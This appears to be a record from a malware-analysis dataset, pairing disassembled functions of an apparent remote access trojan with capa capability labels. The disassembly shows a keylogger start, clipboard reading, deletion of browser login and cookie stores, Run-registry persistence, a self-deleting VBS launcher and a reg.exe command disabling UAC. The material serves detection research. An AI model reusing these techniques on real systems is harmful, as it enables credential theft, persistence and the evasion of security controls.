joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409e37
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x4a], 0
jne 0x409ed1
mov edi, str.Online_Keylogger_Started
mov byte [esi + 0x4a], 1
push edi
lea ecx, [ebp - 0x18]
call fcn.00402073
sub esp, 0x18
lea edx, [ebp - 0x18]
mov ecx, esp
call fcn.00419d24
mov ecx, esi
call fcn.0040a0b0
lea ecx, [ebp - 0x18]
call fcn.00401fb8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x462f64
call fcn.00402073
call fcn.0041960a
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor ebx, ebx
add esp, 0x30
cmp byte [esi + 0x49], bl
jne 0x409ec5
cmp dword [esi], ebx
jne 0x409eb9
push ebx
push ebx
push esi
push 0x4092ef
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x409311
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40931d
push ebx
push ebx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40a65a
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40a67e
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x40a67e
push esi
jmp 0x40a683
push 0x463100
mov ecx, dword [esp + 0xc]
call fcn.0040415e
mov eax, dword [esp + 8]
pop esi
ret 4

Function at 0x40a7f2
Capabilities:
Delete directory
Delete file
Terminate thread

Disassembly:
push ebx
xor ebx, ebx
push ebx
push 0x409305
mov byte [0x472051], bl
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x472008]
test eax, eax
je 0x40a829
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x4092ef
mov dword [0x472008], ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, 0x472008
pop ebx
jmp fcn.0040a7b5

Function at 0x40a953
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x463664
call fcn.00439ffa
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402073
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00408209
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a9ba
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40a9ae
sub eax, 1
je 0x40a9ae
xor bl, bl
jmp 0x40a9d3
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x40a9c4
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402073
call fcn.0040b119
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fb8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a9e2
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x463664
call fcn.00439ffa
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402073
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00408209
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40aa49
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40aa3d
sub eax, 1
je 0x40aa3d
xor bl, bl
jmp 0x40aa62
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x40aa53
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402073
call fcn.0040b119
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fb8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40aa71
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004020bf
lea ecx, [ebp - 0x48]
call fcn.004020bf
lea ecx, [ebp - 0x18]
call fcn.004020bf
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402073
push eax
push 0x463664
call fcn.00439ffa
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004052dd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fc2
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x78]
call fcn.00401fb8
lea eax, [ebp - 0x1d0]
push eax
push 0x463624
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.0040822a
pop ecx
mov ecx, eax
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00401fb8
cmp esi, 0xffffffff
jne 0x40ac25
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402073
call fcn.0040b119
add esp, 0x18
jmp 0x40ac59
test byte [ebp - 0x1d0], 0x10
je 0x40ac25
lea eax, [ebp - 0x1a4]
push 0x463784
push eax
call fcn.0043a4b0
pop ecx
pop ecx
test eax, eax
je 0x40ac25
lea eax, [ebp - 0x1a4]
push 0x463788
push eax
call fcn.0043a4b0
pop ecx
pop ecx
test eax, eax
je 0x40ac25
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.0040822a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00408209
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00401fc2
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x90]
call fcn.00401fb8
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.0040822a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00408209
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00401fc2
lea ecx, [ebp - 0x90]
call fcn.00401fb8
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x60]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40ac0c
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40ac25
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40ab2c
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402073
call fcn.0040b119
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00401fb8
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x60]
call fcn.00401fb8
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40ac78
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004020bf
lea ecx, [ebp - 0x18]
call fcn.004020bf
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402073
push eax
push 0x463664
call fcn.00439ffa
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004052dd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fc2
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x60]
call fcn.00401fb8
lea eax, [ebp - 0x1b8]
push eax
push 0x463624
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.0040822a
pop ecx
mov ecx, eax
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00401fb8
cmp esi, 0xffffffff
jne 0x40adc2
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402073
call fcn.0040b119
add esp, 0x18
jmp 0x40adf6
test byte [ebp - 0x1b8], 0x10
je 0x40adc2
lea eax, [ebp - 0x18c]
push 0x463784
push eax
call fcn.0043a4b0
pop ecx
pop ecx
test eax, eax
je 0x40adc2
lea eax, [ebp - 0x18c]
push 0x463788
push eax
call fcn.0043a4b0
pop ecx
pop ecx
test eax, eax
je 0x40adc2
lea eax, [ebp - 0x18c]
push 0x4637ec
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.0040822a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00408209
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401fc2
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x78]
call fcn.00401fb8
lea ecx, [ebp - 0x30]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40ae1b
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x40ae10
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40ad2c
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402073
call fcn.0040b119
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00401fb8
lea ecx, [ebp - 0x30]
call fcn.00401fb8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor bl, bl
jmp 0x40adf8
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x40ad1a
Function at 0x40ae2a
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004020bf
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, connect
lea ecx, [ebp - 0x30]
xor ebx, ebx
call fcn.004120e0
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00401fc2
lea ecx, [ebp - 0x30]
call fcn.00401fb8
mov edx, 0x463064
lea ecx, [ebp - 0x18]
call fcn.00405ae5
test al, al
je 0x40ae97
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402073
call fcn.0040b119
mov bl, 1
jmp 0x40af3a
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40ae7c
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402073
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.00419d24
mov ecx, eax
call fcn.00401ee4
mov ecx, eax
call fcn.0041a175
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401fb8
test esi, esi
je 0x40af10
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x40ae86
push ebx
push 0x4638a0
mov ecx, 0x472910
call fcn.004060ea
test eax, eax
je 0x40af3d
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402073
call fcn.0040b119
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fb8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b0a3
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0x46fae9], cl
push edi
mov dword [0x46faf8], eax
test cl, cl
je 0x40b100
mov edi, 0x4638f8
mov dword [ebp - 4], esi
mov ebx, 0x472200
push edi
mov ecx, ebx
call fcn.00401f8b
mov edx, eax
call fcn.00412039
pop ecx
test al, al
je 0x40b100
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.00401f8b
mov edx, eax
call fcn.00412083
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x40b100
xor al, al
jmp 0x40b112
push esi
push esi
push esi
push 0x40af4d
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b28e
Capabilities:
Check if file exists
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
push str.AppData
mov esi, ecx
call fcn.00439fef
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040415e
push str.MozillaFirefoxProfiles_
lea ecx, [ebp - 0x18]
call fcn.0040808e
lea eax, [ebp - 0x2e0]
push eax
push 0x4632a0
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.004081c7
pop ecx
mov ecx, eax
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea ecx, [ebp - 0x60]
mov edi, eax
call fcn.00401ee9
cmp edi, 0xffffffff
jne 0x40b302
push 0x463100
mov ecx, esi
call fcn.0040415e
jmp 0x40b3d8
lea ecx, [ebp - 0x48]
call fcn.004020bf
jmp 0x40b3a7
test byte [ebp - 0x2e0], 0x10
je 0x40b3a7
lea eax, [ebp - 0x2b4]
push 0x4631e0
push eax
call fcn.0043a108
pop ecx
pop ecx
test eax, eax
je 0x40b3a7
lea eax, [ebp - 0x2b4]
push 0x4632c4
push eax
call fcn.0043a108
pop ecx
pop ecx
test eax, eax
je 0x40b3a7
push str.cookies.sqlite
lea ecx, [ebp - 0x90]
call fcn.0040415e
push eax
lea eax, [ebp - 0x2b4]
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.004081c7
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402f85
pop ecx
lea ecx, [ebp - 0x78]
call fcn.00401ee9
lea ecx, [ebp - 0x90]
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401ee4
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40b3e8
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40b30f
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x463100
mov ecx, esi
call fcn.0040415e
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x18]
call fcn.00401ee9
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.00403242
lea ecx, [ebp - 0x30]
call fcn.00401ee9
jmp 0x40b3d0
Function at 0x40b77f
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x24
cmp byte [0x46fb03], 1
push ebx
mov bh, byte [0x46fb01]
mov bl, byte [0x46fb00]
push ebp
push esi
push edi
mov edi, 0x462e34
mov ebp, 0x4721e8
jne 0x40b7e3
push 1
sub esp, 0x18
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040a8cc
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402ff4
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, connect
call fcn.00412353
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401ee9
cmp bl, 1
jne 0x40b826
push 1
sub esp, 0x18
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040a8cc
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402ff4
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, connect
call fcn.00412353
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401ee9
cmp bh, 1
jne 0x40b869
push 1
sub esp, 0x18
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040a8cc
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402ff4
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, connect
call fcn.00412353
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401ee9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x40c405
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.00411404
mov esi, 0x472248
mov ecx, esi
call fcn.0040245c
push eax
mov ecx, esi
call fcn.00401f8b
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x472200
call fcn.00401f8b
mov edx, eax
call fcn.00412237
add esp, 0x14
xor edi, edi
test al, al
jne 0x40c465
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.00419ab2
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00419d24
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00402ff4
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea eax, [ebp - 0x78]
push eax
push 0x4632c0
push 0x463bd8
call fcn.00439fef
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040415e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.004042fd
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x18]
call fcn.00401f66
push 0x463c7c
push str._____0
lea ecx, [ebp - 0xc0]
call fcn.0040415e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0040415e
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040323d
lea ecx, [ebp - 0x48]
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x90]
call fcn.00401ee9
lea ecx, [ebp - 0xa8]
call fcn.00401ee9
lea ecx, [ebp - 0xc0]
call fcn.00401ee9
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.0040808e
push edi
lea ecx, [ebp - 0x60]
call fcn.00401ee4
push eax
lea ecx, [ebp - 0x18]
call fcn.0040245c
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401ee4
mov edx, esi
mov ecx, eax
call fcn.0041a2d5
pop ecx
pop ecx
test al, al
je 0x40c5d0
push edi
mov eax, 0x463100
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401ee4
push eax
push 0x4630c0
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40c5d0
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401ee9
lea ecx, [ebp - 0x60]
call fcn.00401ee9
lea ecx, [ebp - 0x78]
call fcn.00401ee9
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40e436
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x388
push ebp
push esi
push edi
mov edi, ecx
call fcn.004020bf
call fcn.0041a07d
push 0
push 2
mov byte [0x471aa8], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40e644
lea eax, [esp + 0x160]
mov dword [esp + 0x160], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x40e63d
mov ebp, 0x464158
lea eax, [esp + 0x184]
push eax
lea ecx, [esp + 0x14]
call fcn.0040415e
mov ecx, dword [esp + 0x168]
push 0x464154
call fcn.0041a0ab
movzx edx, al
lea ecx, [esp + 0x14c]
call fcn.00419c70
mov edx, dword [esp + 0x16c]
lea ecx, [esp + 0x134]
push eax
push ebp
call fcn.00419c70
mov edx, dword [esp + 0x174]
lea ecx, [esp + 0x124]
push eax
push ebp
call fcn.0041a0e1
mov edx, eax
lea ecx, [esp + 0x114]
call fcn.00419de4
push eax
push ebp
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x104]
call fcn.00419de4
push eax
mov edx, edi
lea ecx, [esp + 0xf0]
call fcn.004081a6
pop ecx
mov edx, eax
lea ecx, [esp + 0xd4]
call fcn.00408209
pop ecx
mov edx, eax
lea ecx, [esp + 0xb8]
call fcn.00402e81
pop ecx
mov edx, eax
lea ecx, [esp + 0x9c]
call fcn.00408209
pop ecx
mov edx, eax
lea ecx, [esp + 0x80]
call fcn.00402e81
pop ecx
mov edx, eax
lea ecx, [esp + 0x64]
call fcn.00408209
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00402e81
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00408209
pop ecx
push eax
mov ecx, edi
call fcn.00401fc2
lea ecx, [esp + 0x28]
call fcn.00401fb8
lea ecx, [esp + 0x40]
call fcn.00401fb8
lea ecx, [esp + 0x58]
call fcn.00401fb8
lea ecx, [esp + 0x70]
call fcn.00401fb8
lea ecx, [esp + 0x88]
call fcn.00401fb8
lea ecx, [esp + 0xa0]
call fcn.00401fb8
lea ecx, [esp + 0xb8]
call fcn.00401fb8
lea ecx, [esp + 0xd0]
call fcn.00401fb8
lea ecx, [esp + 0xe8]
call fcn.00401fb8
lea ecx, [esp + 0x100]
call fcn.00401fb8
lea ecx, [esp + 0x118]
call fcn.00401ee9
lea ecx, [esp + 0x130]
call fcn.00401fb8
lea ecx, [esp + 0x148]
call fcn.00401fb8
lea ecx, [esp + 0x10]
call fcn.00401ee9
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40e49a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0x388
ret
Function at 0x40e650
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
push 0x44
pop esi
push esi
xor edi, edi
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.00434dc0
push 0x10
lea eax, [ebp - 0x10]
mov dword [ebp - 0x58], esi
push edi
push eax
call fcn.00434dc0
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push 0x8000000
push edi
push edi
push edi
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40f45a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x30
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x40f591
cmp byte [edi + 0x3d], bl
je 0x40f591
call fcn.00402e7d
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], esi
push eax
call fcn.0040ca74
pop ecx
pop ecx
test al, al
je 0x40f4b0
xor al, al
jmp 0x40f593
push ebx
push 8
lea ecx, [esp + 0x30]
call fcn.004051ec
lea ebp, [edi + 0x40]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x30]
call fcn.0040249c
mov ecx, eax
call fcn.0040337b
lea ecx, [esp + 0x2c]
mov esi, eax
call fcn.0040245c
add esi, eax
lea ecx, [esp + 0x2c]
push esi
lea eax, [esp + 0x1c]
push eax
call fcn.0040249c
mov ecx, eax
call fcn.0040337b
mov ecx, dword [edi + 0x38]
push eax
push ebp
call fcn.0040cdfb
sub eax, ebx
je 0x40f518
sub eax, 1
je 0x40f51b
dec eax
sub eax, 1
jne 0x40f584
inc eax
jmp 0x40f582
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x2c]
call fcn.0040249c
mov ecx, eax
call fcn.0040337b
mov esi, dword [esp + 0x1c]
sub esi, eax
je 0x40f560
push dword [edi + 0x4c]
lea eax, [esp + 0x28]
push esi
push 1
push eax
lea ecx, [esp + 0x38]
call fcn.0040249c
mov ecx, eax
call fcn.0040337b
push eax
call fcn.0043ae70
add esp, 0x10
cmp esi, eax
jne 0x40f580
cmp byte [edi + 0x3d], bl
je 0x40f57e
test esi, esi
jne 0x40f4bf
push ebx
push 8
lea ecx, [esp + 0x30]
call fcn.00402a31
jmp 0x40f4bf
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x28]
call fcn.00401fb8
mov al, bl
jmp 0x40f593
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x410503
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x28
push ebx
mov ebx, ecx
push ebp
push esi
push edi
mov esi, dword [ebx]
mov edx, dword [ebx + 0x3c]
movzx ebp, word [esi + 0x14]
add ebp, esi
mov eax, dword [ebp + 0x20]
mov ecx, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x24], eax
call fcn.0041033a
lea edx, [ebp + 0x18]
mov dword [esp + 0x28], eax
mov ecx, ebx
call fcn.00410447
mov ebx, dword [ebp + 0x3c]
mov edi, eax
and dword [esp + 0x34], 0
xor eax, eax
inc eax
mov dword [esp + 0x2c], edi
add ebp, 0x40
mov dword [esp + 0x30], ebx
cmp ax, word [esi + 6]
mov esi, ecx
mov dword [esp + 0x20], eax
jae 0x410615
mov eax, dword [ebp + 8]
mov ecx, eax
mov edx, dword [esi + 0x3c]
mov dword [esp + 0x1c], eax
call fcn.0041033a
mov edx, ebp
mov dword [esp + 0x14], eax
mov ecx, esi
call fcn.00410447
mov edx, dword [esp + 0x10]
mov ecx, eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x18], ecx
cmp dword [esp + 0x28], eax
je 0x4105cc
lea ecx, [edi + edx]
cmp ecx, eax
ja 0x4105c8
lea edx, [esp + 0x24]
mov ecx, esi
call fcn.00410466
test eax, eax
je 0x410632
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov ebx, dword [ebp + 0x24]
mov dword [esp + 0x10], edx
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], eax
jmp 0x4105f0
mov ecx, dword [esp + 0x18]
mov eax, dword [ebp + 0x24]
mov edi, 0x2000000
test edi, eax
je 0x4105e0
test edi, ebx
je 0x4105e0
or ebx, eax
jmp 0x4105e8
or ebx, eax
and ebx, 0xfdffffff
mov edi, ecx
sub edi, edx
add edi, dword [esp + 0x1c]
mov eax, dword [esi]
add ebp, 0x28
mov ecx, dword [esp + 0x20]
inc ecx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], edi
movzx eax, word [eax + 6]
mov dword [esp + 0x20], ecx
cmp ecx, eax
jl 0x41055f
xor eax, eax
inc eax
lea edx, [esp + 0x24]
